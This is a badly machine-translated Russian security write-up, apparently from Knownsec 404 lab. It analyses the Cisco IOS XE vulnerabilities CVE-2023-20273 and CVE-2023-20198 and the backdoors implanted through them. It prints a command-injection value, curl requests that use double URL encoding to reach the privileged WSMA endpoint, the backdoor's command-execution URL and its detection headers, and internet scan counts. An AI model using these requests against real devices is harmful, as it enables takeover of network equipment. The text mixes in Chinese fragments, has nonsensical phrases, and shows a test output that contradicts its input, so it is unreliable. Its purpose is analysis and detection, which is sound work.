Автор: Hcamael@knowchuangyu 404 лаборатория
Время: 1 ноября 2023 г.
В этой статье будут проанализированы и обобщены две недавние очень серьезные уязвимости CVE (CVE-2023-20198, CVE-2023-20273) в Cisco IOS XE.
1. Настройка среды
Ссылки
В прошлом году я приобрел маршрутизатор Cisco ISR 4300 для исследования и в течение 1 дня анализировал выполнение его фоновых команд. Бывает, что этот маршрутизатор также является системой Cisco IOS XE, поэтому я могу напрямую использовать среду Cisco ISR для исследования.
Если вы хотите настроить виртуальную среду, это легко,Доступно в Google,Zoomeye выполняет поиск по ключевым словам имени файла,Без идентификации версии,Вы можете искать много старых версийova
, qcow2
документ,Но недостаток в том, что нет возможности поиска последней версии прошивки.,Если вы хотите изучить последнюю версию прошивки,Можно купить только на Xianyu.
2. CVE-2023-20273
Ссылки
После настройки среды сначала проанализируйте уязвимость авторизации RCE. Принцип этой уязвимости относительно прост. Проблема заключается в фильтрации адресов ipv6. Соответствующий код выглядит следующим образом.
function utils.isIpv6Address(ip)
if utils.isNilOrEmptyString(ip) then
return false
end
local chunks = utils.splitString(ip,":")
if #chunks > 8 or #chunks < 3 then
return false
end
for i=1,#chunks do
if chunks[i] ~="" and chunks[i]:match("([a-fA-F0-9]*)") == nil and tonumber(chunks[i],16) <= 65535 then
return false
end
end
return true
end
Проблема заключается в регулярном:chunks[i]:match("([a-fA-F0-9]*)")
,Поскольку нет ограничений на конечный символ,То есть, пока начальная часть построенной строки может успешно соответствовать обычной,может пройти,Давайте проведем тест:
$ cat test.lua
local arg1 = arg[1]
print(arg1:match("([a-fA-F0-9]*)"))
$ lua test.lua "abc;id;"
abcd
Последняя версия кода патча выглядит следующим образом:
Рис. 1. Код сравнения новой и старой версий системы IOS XE.
Обычный становится:ip:match("^([a-fA-F0-9:]+)$")
,так,Обойти это в принципе невозможно.
Существует несколько точек ввода команд:
1.snortcheck.lua
Код на рис. 2, относящийся к файлу snortcheck.lua
существоватьvalidateSnortRequest
функция сделаетipaddress
Проверять,Но поскольку я могуbypass Проверка IPv6, поэтому это может привести к внедрению команд.
2.softwareMgmt.lua
Рис. 3. Код, связанный с файлом SoftwareMgmt.lua.
существоватьvalidateSmuRequest
Центральный Комитет будетipaddress
Проверять,随后会существоватьgenerateUrlAndDestination
соединенный сurl
среди,Наконец, это приводит к внедрению команд.
3.softwareUpgrade.lua
В этом файле есть несколько командных инъекций.,Причина лазейки та же, что и выше.,Потому что нет праваipaddress
Поля проверяются на корректность,Итак, после вставки его в URL-адрес,Вызывает внедрение команды.
3. CVE-2023-20198
Ссылки
Потом разберём более серьёзные несанкционированные лазейки,Я думаю, что лазейки следует называть лазейки с несанкционированным выполнением команд Cisco.,может бытьpri 15
Разрешение на выполнение любогоCiscoЗаказ。
Я думаю, что уязвимость возникает из-за неправильной настройки nginx следующим образом:
location /lua5 {
internal;
if ($scheme = http) {
rewrite /lua5 /webui_wsma_http;
}
if ($scheme = https) {
rewrite /lua5 /webui_wsma_https;
}
}
location /webui_wsma_http {
internal;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass http://192.168.1.6:$NGX_IOS_HTTP_PORT liin;
}
location /webui_wsma_https {
internal;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_pass https://192.168.1.6:$NGX_IOS_HTTPS_PORT liin;
}
первый,Его можно найти, проверив Lua-код webui.,Чтобы выполнить код cli,В конечном итоге это происходит через доступ/lua
путь к достижению,Но поскольку путь настроенinternal
Поле,Таким образом, доступ к пути возможен только через внутренний код nginx.
Далее посмотрим на код,можно найти,/lua
В конечном итоге путь будет основан наhttp
илиhttps
выбрать посещение/webui_wsma_http(s)
Аналогично, к этому пути нельзя получить доступ извне. Эту часть конфигурации nginx теоретически невозможно обойти.
но,/webui_wsma_http(s)
Путь не является окончательным выполнениемcliЗаказ的地方,Наконец, получив доступhttp(s)://192.168.1.6
прийти сiosd
программы общаются,Мы можем провести тест.
Получите разрешения Linux через указанную выше уязвимость авторизации RCE, а затем выполните следующую команду:
# ip netns exec 8 curl -kv http://192.168.1.6/webui_wsma_http -d "<xml>"
......
< HTTP/1.1 200 OK
< Date: Thu, 02 Nov 2023 07:15:13 GMT
< Server: cisco-IOS
< Connection: close
< Content-Length: 447
< Content-Type: text/xml
< Expires: Thu, 02 Nov 2023 07:15:13 GMT
< Last-Modified: Thu, 02 Nov 2023 07:15:13 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Accept-Ranges: none
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
<
* Closing connection 0
<?xml version="1.0" encoding="UTF-8"?><SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xml="http://www.w3.org/XML/1998/namespace"><SOAP:Body><SOAP:Fault><faultcode>SOAP:Client</faultcode><faultstring>An unknown XML tag has been received</faultstring><detail><WSMA-ERR:error xmlns:WSMA-ERR="urn:cisco:wsma-errors"><WSMA-ERR:details>xml</WSMA-ERR:details></WSMA-ERR:error></detail></SOAP:Fault></SOAP:Body></SOAP:Envelope>
мы можем видеть,окончательное исполнениеcliЗаказ的是iosd
программные услуги。
Продолжим аудит конфигурации nginx,可以существовать/tmp/nginx.conf
найден втакконфигурация:
location / {
proxy_read_timeout 900;
proxy_pass https://192.168.1.6:443/ liin;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
proxy_set_header Via $server_addr;
}
nginx по умолчанию,Просто отправьте запрос наiosd
задняя часть。В это время возникает идея,Мы можем получить прямой доступ:http://host/webui_wsma_http
Приходите и запросите192.168.1.6
задняя часть
проверено,Эта идея не работает,Поскольку этот путь запроса,будет сопоставлен в первую очередьlocation /webui_wsma_http
маршрутизация,Так как установленоinternal
Ключевые слова,Итак, 404 будет возвращено.
но,Подумав,Я обнаружил, что на самом деле в этой идее нет никаких проблем.,Но здесь нужен обходной путь. Служба nginx раскодирует кодировку URL.,иiosd
Также будут проводиться услугиURLоперация декодирования,Как показано ниже:
# ip netns exec 8 curl -kv http://192.168.1.6/webui_wsma%5fhttp -d "<xml>"
...< HTTP/1.1 200 OK
< Date: Thu, 02 Nov 2023 07:30:48 GMT
< Server: cisco-IOS
< Connection: close
< Content-Length: 447
< Content-Type: text/xml
< Expires: Thu, 02 Nov 2023 07:30:48 GMT
< Last-Modified: Thu, 02 Nov 2023 07:30:48 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Accept-Ranges: none
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
<
* Closing connection 0
<?xml version="1.0" encoding="UTF-8"?><SOAP:Envelope xmlns:SOAP="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xml="http://www.w3.org/XML/1998/namespace"><SOAP:Body><SOAP:Fault><faultcode>SOAP:Client</faultcode><faultstring>An unknown XML tag has been received</faultstring><detail><WSMA-ERR:error xmlns:WSMA-ERR="urn:cisco:wsma-errors"><WSMA-ERR:details>xml</WSMA-ERR:details></WSMA-ERR:error></detail></SOAP:Fault></SOAP:Body></SOAP:Envelope>
так У вас может быть идея атаки вторичного кодирования.,Если мы сделаем запрос:http://host/%2577ebui_wsma_http
,ТакnginxПолученный запрос былhttp://host/%77ebui_wsma_http
,Так как по другой маршрутизации совпадений нет.,Поэтому используйте маршрутизацию по умолчанию.,отправить вiosd
задняя часть的请求为:http://192.168.1.6/%77ebui_wsma_http
,并且由于задняя часть的webui_wsma_http
Операция аутентификации не была выполнена,так Происходит несанкционированный доступлазейки。
ЗапрошеноurlХОРОШОwebui
любой один или несколько символовurlкодирование,можно получить доступ без авторизацииiosd
задняя часть,Но для последующих_wsma_http
进行кодирование却没иметь用,Потому что если нет праваwebui
进行кодирование,则будет сопоставлен в первую очередь/webui
маршрутизация,невозможно получить доступiosd
задняя часть。
Официальное исправление Да, один добавилсяProxy-Uri-Source
голова,Если это по умолчаниюмаршрутизация Посетилiosd
сервировка,затем установите на:Proxy-Uri-Source: global
Рис. 4. Код, связанный с iOSD, в IDA
Если это пропуск/lua5
маршрутизацияпосетил,затем установите на:Proxy-Uri-Source: webui_internal
Рисунок 5. Новый код, добавленный в новую версию системы IOS XE.
иiosd
задняя часть处理webui_wsma_http
маршрутизациячас,Только обнаруженоHTTPголова为:Proxy-Uri-Source: webui_internal
,Только тогда на HTTP-запросы будут отвечать нормально.
Однако я думаю, что основная проблема уязвимости не устранена. Например, я также нашел следующую конфигурацию:
server {
include /usr/binos/conf/nginx-conf/https-only/fallback.conf;
listen unix:/var/run/shell_exec/nginx/pnp_python.sock;
listen unix:/var/run/shell_exec/nginx/pnp_python_ssl.sock ssl;
location /pnp_python {
proxy_pass http://192.168.1.6:80/pnp_python liin;
proxy_set_header X-Real-IP $remote_addr;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header Host $host;
proxy_read_timeout 1d;
proxy_send_timeout 1d;
proxy_connect_timeout 1d;
}
}
iosd
задняя часть还会响应pnp_python
маршрутизация,Какие операции можно выполнять на этой маршрутизации, предстоит мне в дальнейших исследованиях.
4. Анализ использования в дикой природе
Ссылки
О двух вышеупомянутых уязвимостях первоначально официально объявила компания Cisco. Вероятно, они обнаружили эти две уязвимости после того, как обнаружили вредоносное ПО с бэкдором на своих машинах или компьютерах клиентов.
Представители Cisco не раскрыли подробностей уязвимости, но рассказали, как определить, были ли в их оборудование внедрены бэкдоры злоумышленниками.
Рисунок 6. Код бэкдора IOS XE 1.
Предполагается, что приведенный выше код является бэкдором, который Cisco официально обнаружила в устройстве. Из приведенного выше кода мы можем узнать:
$ curl -kv http://host/webui/logoutconfirm.html?logon_hash=1 -X POST
# Этот запрос вернет строку шестнадцатеричных чисел, например
e79ba64cb1922c9cec
# Если бэкдор не существует на устройстве, будет возвращена ошибка 404.
Основная функция этого бэкдора заключается в том, что к нему можно получить доступ через:http://host/webui/logoutconfirm.html?logon_hash=???&common_type=subsystem -d "id"
выполнить любойLinuxсистема Заказ。
Самое главное – необходимостьlogon_hash
ценить,Но мы не можем получить значение,После исследования,Угадай для каждого устройстваlogon_hash
Ценности у всех разные,Должно быть взаимно однозначное соответствие с шестнадцатеричным числом, возвращенным ранее.
Рисунок 7. Код бэкдора IOS XE 2.
Второй вариант эквивалентен обновлению первого.,Добавлен код аутентификации,У нас нет возможности узнатьAuthorization
ценить为多少,ноCiscoЧиновник нам это предоставил.:
$ curl -kv http://host/webui/logoutconfirm.html?logon_hash=1 -X POST -H 'Authorization: 0ff4fbf0ecffa77ce8d3852a29263e263838e9bb'
# Этот метод обнаружения аналогичен предыдущему, за исключением того, что имеется дополнительное поле «Авторизация».
# В дополнение к тому же бэкдору подсистемы добавлен новый бэкдор common_type=iox, который может выполнять любые Cisco cliЗаказ,Но то же самое,У нас нет возможности узнать значение logon_hash.
Я не думаю, что есть необходимость различать эти два типа бэкдоров.,Просто используйте второй вариант для обнаружения,Он может определить, имплантирован ли в цель бэкдор. Единственное, что следует различать, это,Должно бытьAuthorization
Поле的目标,будет еще одинiox
Функция,Используется для выполнения команд CLI Cisco.
Рисунок 8. Исправленная часть кода бэкдора.
Злоумышленники не просто оставляют бэкдоры на целевых устройствах,Также патчим несанкционированные лазейки,Долженмаршрутизациябудет соответствовать содержащему%
запрос знака процента,如果Запрошеноuri
中存существоватьзнак процента,Затем верните 404.
в обычном оборудовании,По запросуhttp://host/%25
,Будет соответствовать маршрутизации по умолчанию,发送给задняя частьiosd
,Возвращаемый результат:
$ ip netns exec 8 curl -kv http://192.168.1.6/%
...
> GET /% HTTP/1.1
> Host: 192.168.1.6
> User-Agent: curl/7.66.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Thu, 02 Nov 2023 08:22:07 GMT
< Server: cisco-IOS
< Connection: close
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=utf-8
< Expires: Thu, 02 Nov 2023 08:22:07 GMT
< Last-Modified: Thu, 02 Nov 2023 08:22:07 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Accept-Ranges: none
< X-XSS-Protection: 1; mode=block
< X-Content-Type-Options: nosniff
< X-Frame-Options: SAMEORIGIN
<
* Closing connection 0
<script>window.onload=function(){ url ='/webui';window.location.href=url;}
Однако если на целевом устройстве есть бэкдор, оно будет соответствовать указанному выше маршруту и вернет код 404. Таким образом, эту функцию можно использовать для определения наличия бэкдора на целевом сервере.
5. Исследуйте уязвимость в дикой природе
Ссылки
Впоследствии мы провели исследование эксплуатации этой уязвимости в реальных условиях, экспортировали цель 4w в ZoomEye, определили, может ли цель RCE, и провели безобидное обнаружение. Результаты следующие:
date: 2023/11/02 success : 12360 / 48636
использоватьlogon_hash
метод обнаружения,Определите, есть ли у цели бэкдор,Результат следующий:
date: 2023/11/02 success : 22205 / 48636
对存существовать后门цель осуществить%
знак процента404обнаружение,Результат следующий:
date: 2023/11/02 success : 22195 / 22205
10 целей, которые не удалось обнаружить вручную, обнаружили, что все их сбои были вызваны сетевыми проблемами.
Затем выполните обнаружение знака процента 404 на цели 4w, и результаты будут следующими:
date: 2023/11/02 success : 25341 / 48636
Тогда к этому2.5wцель осуществитьlogon_hash
обнаружение,Результат следующий:
date: 2023/11/02 success : 21441 / 25341
После исследования неудавшихся целей мы обнаружили, что существует большое количество ловушек, которые могут пройти определение процентиля 404, что привело к большому количеству ложных срабатываний. Мы исключили цели-приманки и провели ручное тестирование остальных целей. Все причины были связаны с сетью, вызванной проблемой.
Из предыдущего анализа плюс приведенные выше результаты обнаружения,мы можем знать,logon_hash
Есть только две версии бэкдора(иметьAuthorization
голова和没иметь的),После того, как Cisco официально анонсировала бэкдор,Других обновлений на данный момент нет.
Также можно узнать, что злоумышленник изначально устранил несанкционированную дыру. Устройства с бэкдорами не могут использовать RCE, поэтому нам не удалось перехватить какой-либо эффективный код бэкдора.
В приведенных выше результатах обнаружения,Мы обнаружили, что существует более 10 000 целей, которые можно атаковать.,其中иметь几个目标和logon_hash
обнаружение成功的目标重合,После исследования Обнаружить,Поскольку поддерживать бэкдор этого устройства сложно,,Как только устройство перезагрузится,Бэкдоры исчезнут,Таким образом, это приводит к некоторымlogon_hash
обнаружение成功的目标,через некоторое время,Обнаружение RCE успешно,logon_hash
обнаружение失败。
Затем мы подсчитали просканированные затронутые устройства и их архитектуры:
ASR1000 Software (X86_64_LINUX_IOSD-UNIVERSALK9_NPE_NOLI-M)
ISR Software (X86_64_LINUX_IOSD-UCMK9-M)
ISR Software (ARMV8EL_LINUX_IOSD-UNIVERSALK9_IAS_NPE-M)
ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9_NPE-M)
ISR Software (ARMV8EB_LINUX_IOSD-UNIVERSALK9_IAS-M)
C9800-CL Software (C9800-CL-K9_IOSXE)
cBR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
ASR1000 Software (X86_64_LINUX_IOSD-UNIVERSALK9_NOLI-M)
c8000be Software (X86_64_LINUX_IOSD-UNIVERSALK9_NPE-M)
ISR Software (ARMV8EL_LINUX_IOSD-UNIVERSALK9_IAS-M)
ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
ISR Software (ARMV8EL_LINUX_IOSD-UNIVERSALK9-M)
ASR1000 Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9_IAS-M)
isr1100be Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
ISR Software (ARMV8EB_LINUX_IOSD-UCMK9-M)
ASR1000 Software (X86_64_LINUX_IOSD-UNIVERSALK9_NPE-M)
C9800-AP Software (C9800-AP-K9_IOSXE-UNIVERSALK9-M)
ISR Software (ARMV8EB_LINUX_IOSD-UNIVERSALK9_IAS_NPE-M)
Catalyst L3 Switch Software (CAT9K_IOSXE)
Virtual XE Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
C9800 Software (C9800_IOSXE-K9)
cBR Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
Catalyst L3 Switch Software (CAT3K_CAA-UNIVERSALK9-M)
Catalyst L3 Switch Software (CAT9K_LITE_IOSXE)
ISR Software (ARMV8EL_LINUX_IOSD-UNIVERSALK9_NPE-M)
c8000aep Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
Virtual XE Software (X86_64_LINUX_IOSD-UCMK9-M)
ISR Software (ARMV8EL_LINUX_IOSD-UNIVERSALK9_IOT-M)
ISR Software (ARMV8EL_LINUX_IOSD-UCMK9-M)
CSR1000V Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
ISR Software (X86_64_LINUX_IOSD-UNIVERSALK9_IAS_NPE-M)
c8000aes Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
c8000be Software (X86_64_LINUX_IOSD-UNIVERSALK9-M)
Позже выяснилось, что бэкдор снова обновился, причем были обновлены две части: первая часть:
Рисунок 9. Исправленный код нового бэкдора.
Эта часть обновления исправляет метод обнаружения знака процента 404.
Часть 2:
Рисунок 10 Аутентификационная часть новой версии бэкдора
Эта часть обновления усложняет нам обнаружение скомпрометированных целей с помощью метода logon_hash.,потому чтоAuthorization
Больше не строкаhashценить,Вместо этого требуется, чтобы хеш-значение sha1sum указанного значения было указанным значением.,В этом случае,Может конфликтовать только через хэш,Раскрытие хеш-значений sha1 и других методов для прохождения проверки подлинности через бэкдор.
6. Решение для ремонта
Ссылки
7. Справочные ссылки
Ссылки